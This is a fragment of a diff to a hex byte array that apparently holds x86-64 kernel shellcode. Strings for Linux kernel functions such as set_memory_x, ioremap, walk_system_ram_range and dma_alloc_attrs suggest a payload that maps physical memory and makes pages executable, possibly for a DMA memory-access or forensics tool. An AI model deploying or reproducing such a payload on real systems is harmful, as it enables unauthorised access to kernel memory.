0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x61, 0x6c, - 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x6e, 0x78, 0x00, - 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, - 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x77, 0x00, 0x73, 0x65, 0x74, - 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65, - 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73, 0x63, - 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d, - 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, - 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, - 0x62, 0x61, 0x73, 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, - 0x5f, 0x72, 0x61, 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d, - 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, - 0x61, 0x70, 0x5f, 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65, - 0x5f, 0x67, 0x65, 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00, 0x67, - 0x65, 0x74, 0x6e, 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34, 0x00, - 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x48, 0x8b, 0xc1, 0x57, - 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, - 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, - 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, - 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, - 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, - 0x57, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, - 0x03, 0xc7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x17, 0xff, 0xff, - 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, - 0xff, 0xff, 0x5a, 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, - 0xc2, 0x5e, 0x5f, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, - 0x48, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, - 0xc1, 0x10, 0x48, 0x89, 0x4a, 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, - 0xe6, 0x0c, 0x4c, 0x8b, 0x42, 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, - 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, - 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b, - 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xd9, - 0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x8b, 0x4b, - 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x4e, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, - 0xc7, 0x08, 0x48, 0x83, 0xff, 0x10, 0x72, 0xc6, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c, - 0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8, 0x75, 0x16, 0x48, 0x8b, - 0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9, - 0xa9, 0x00, 0x00, 0x00, 0x48, 0x85, 0xff, 0x75, 0x05, 0x48, 0x85, 0xc9, 0x74, 0x2b, 0x85, 0xf6, - 0x75, 0x2b, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, - 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x5c, 0xfe, 0xff, 0xff, - 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x33, 0xc0, 0xeb, 0x70, 0x33, 0xd2, 0x48, - 0x8b, 0xcb, 0xe8, 0x41, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48, - 0x85, 0xc0, 0x74, 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, - 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x1a, 0xfe, - 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d, - 0x48, 0x8b, 0x54, 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, - 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, - 0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c, - 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, + 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x53, 0x55, 0x41, 0x53, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x4c, + 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d, 0xaf, 0xef, 0xff, + 0xff, 0xe8, 0x3e, 0x0b, 0x00, 0x00, 0x0f, 0x09, 0x48, 0x85, 0xc0, 0x74, 0x1e, 0x48, 0x8d, 0x15, + 0x05, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc2, 0xff, 0xe0, 0x48, 0x8d, 0x0d, 0x90, 0xef, 0xff, 0xff, + 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x68, 0x48, 0x8d, 0x0d, 0x7e, 0xef, + 0xff, 0xff, 0xe8, 0xbd, 0x07, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, + 0x41, 0x5b, 0x5d, 0x5b, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, + 0xf2, 0x49, 0xc7, 0xc5, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x53, 0xff, 0xff, 0xff, 0x50, + 0x48, 0x8d, 0x05, 0xfd, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x34, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x39, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x3e, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x3d, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x3e, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x64, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x72, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x72, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x82, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x6a, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x86, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x8f, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xa9, 0x00, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0xaf, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xb6, 0x00, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0xdf, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xc1, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x6b, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x79, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0x85, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x91, 0x01, 0x00, 0x00, 0x50, + 0x48, 0x8d, 0x05, 0xa8, 0x01, 0x00, 0x00, 0x50, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, + 0xe8, 0xa2, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e, 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, + 0x46, 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, + 0x8b, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, + 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, + 0xf3, 0x48, 0xab, 0xc3, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, + 0x72, 0x79, 0x5f, 0x6e, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, + 0x72, 0x77, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, + 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, + 0x63, 0x70, 0x79, 0x00, 0x73, 0x63, 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, + 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, + 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, + 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, + 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f, 0x72, 0x61, 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, + 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, + 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x5f, 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, + 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65, 0x5f, 0x67, 0x65, 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, + 0x74, 0x73, 0x36, 0x34, 0x00, 0x67, 0x65, 0x74, 0x6e, 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, + 0x64, 0x61, 0x79, 0x36, 0x34, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, + 0x73, 0x00, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x5f, 0x64, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x5f, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, + 0x5f, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x5f, 0x61, 0x64, 0x64, 0x00, 0x70, 0x6c, 0x61, 0x74, + 0x66, 0x6f, 0x72, 0x6d, 0x5f, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x5f, 0x70, 0x75, 0x74, 0x00, + 0x64, 0x6d, 0x61, 0x5f, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x61, 0x74, 0x74, 0x72, 0x73, 0x00, + 0x64, 0x6d, 0x61, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x61, 0x74, 0x74, 0x72, 0x73, 0x00, 0x6d, + 0x65, 0x6d, 0x73, 0x65, 0x74, 0x00, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, + 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, + 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, + 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, + 0x3d, 0xd8, 0xfe, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, + 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x41, 0x57, 0x48, + 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, 0x03, 0xc7, 0x41, 0x5f, 0x5e, + 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0xb2, 0xfe, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, + 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, + 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x5a, 0x48, 0x2b, + 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, 0xc2, 0x5e, 0x5f, 0xc3, 0x48, + 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, 0x48, 0x8b, 0x4a, 0x48, 0x48, + 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, 0xc1, 0x10, 0x48, 0x89, 0x4a, + 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x4c, 0x8b, 0x42, + 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7, 0x7c, 0x09, + 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xc3, + 0x0f, 0x09, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, + 0xd9, 0xc7, 0x44, 0x24, 0x40, 0x64, 0x65, 0x76, 0x00, 0x48, 0x8b, 0x89, 0x98, 0x03, 0x00, 0x00, + 0x48, 0x85, 0xc9, 0x74, 0x7e, 0x48, 0x83, 0xbb, 0xa0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x74, 0x48, + 0x83, 0xbb, 0xb0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x6a, 0x49, 0x83, 0xc8, 0xff, 0x48, 0x8d, 0x54, + 0x24, 0x40, 0xe8, 0xc0, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x54, 0x48, + 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8d, 0x50, 0x10, 0x48, 0x8b, 0x8b, 0xb0, 0x03, 0x00, 0x00, + 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x41, 0xb8, 0x00, 0x00, 0x20, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x20, + 0xc4, 0x0c, 0x00, 0x00, 0xe8, 0x8e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x25, 0x48, 0x8b, + 0x4c, 0x24, 0x48, 0x48, 0x85, 0xc9, 0x74, 0x1b, 0x48, 0x89, 0x43, 0x28, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x20, 0x00, 0x48, 0x89, 0x4b, 0x20, 0x48, 0x89, 0x7b, + 0x78, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0xe8, 0x42, 0xff, + 0xff, 0xff, 0x33, 0xdb, 0x48, 0x85, 0xc0, 0x75, 0x0d, 0x48, 0x8b, 0xcf, 0xe8, 0x1b, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x05, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, 0x8b, + 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xba, 0xc4, + 0x0c, 0x00, 0x00, 0x48, 0x8b, 0x89, 0x08, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x09, 0x00, 0x00, 0x00, + 0xe8, 0xf2, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x40, 0x48, 0x8b, 0x4b, + 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x69, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, + 0x2c, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x1e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, + 0x74, 0x1b, 0x48, 0x89, 0x43, 0x28, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x43, 0x18, 0x00, + 0x00, 0x20, 0x00, 0x48, 0x89, 0x73, 0x20, 0x48, 0x89, 0x7b, 0x70, 0xeb, 0x02, 0x33, 0xc0, 0x48, + 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0x79, 0x78, 0x48, 0x8b, + 0xd9, 0x48, 0x83, 0x61, 0x78, 0x00, 0x48, 0x8b, 0x89, 0x90, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, + 0x74, 0x39, 0x48, 0x85, 0xff, 0x74, 0x34, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8d, 0x57, 0x10, 0x48, + 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8b, 0x4b, 0x28, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x89, 0x44, + 0x24, 0x20, 0xe8, 0x50, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xa8, 0x03, 0x00, 0x00, 0x48, 0x85, + 0xc9, 0x74, 0x08, 0x48, 0x8b, 0xd7, 0xe8, 0x3c, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x40, + 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0xe8, 0x8a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0xfe, 0x00, 0x00, 0x00, 0x48, 0x83, + 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x85, 0xd2, 0x0f, 0x84, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, + 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf2, 0xe8, + 0x5e, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, + 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x12, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x74, + 0x7e, 0x48, 0x83, 0xbb, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x74, 0x62, 0x49, 0x8b, 0xce, 0xbf, 0x00, + 0x10, 0x00, 0x00, 0x48, 0xd3, 0xe7, 0x48, 0x83, 0xbb, 0x78, 0x03, 0x00, 0x00, 0x00, 0x74, 0x21, + 0x48, 0x83, 0xbb, 0x80, 0x03, 0x00, 0x00, 0x00, 0x74, 0x17, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, + 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd0, 0xe8, 0x76, 0xfc, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x80, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x4c, 0x8b, 0xc7, + 0x48, 0x8b, 0xd5, 0xe8, 0x5f, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xb8, 0x03, 0x00, 0x00, 0x4c, + 0x8b, 0xcf, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd5, 0xe8, 0x4a, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, + 0x18, 0x03, 0x00, 0x00, 0x4d, 0x8b, 0xc6, 0x48, 0x8b, 0xd6, 0xe8, 0x38, 0xfc, 0xff, 0xff, 0x48, + 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, + 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x8b, 0x51, 0x70, 0x48, 0x83, 0x61, 0x70, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x0b, 0x41, 0xb8, + 0x09, 0x00, 0x00, 0x00, 0xe8, 0xf7, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb9, 0x00, 0x03, 0x00, - 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0xd4, 0xfb, 0xff, 0xff, + 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0x55, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x21, 0x48, 0x8b, 0x83, 0x50, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0e, 0x48, 0x8b, 0x83, 0x60, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x33, 0xc9, 0x8d, 0x41, 0x01, 0x48, 0x83, 0x3f, 0x00, 0x74, 0x0d, 0x03, 0xc8, 0x48, 0x83, 0xc7, 0x08, 0x83, 0xf9, 0x0a, 0x72, 0xef, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, + 0xd9, 0xc7, 0x44, 0x24, 0x40, 0x64, 0x65, 0x76, 0x00, 0x48, 0x8b, 0x89, 0x98, 0x03, 0x00, 0x00, + 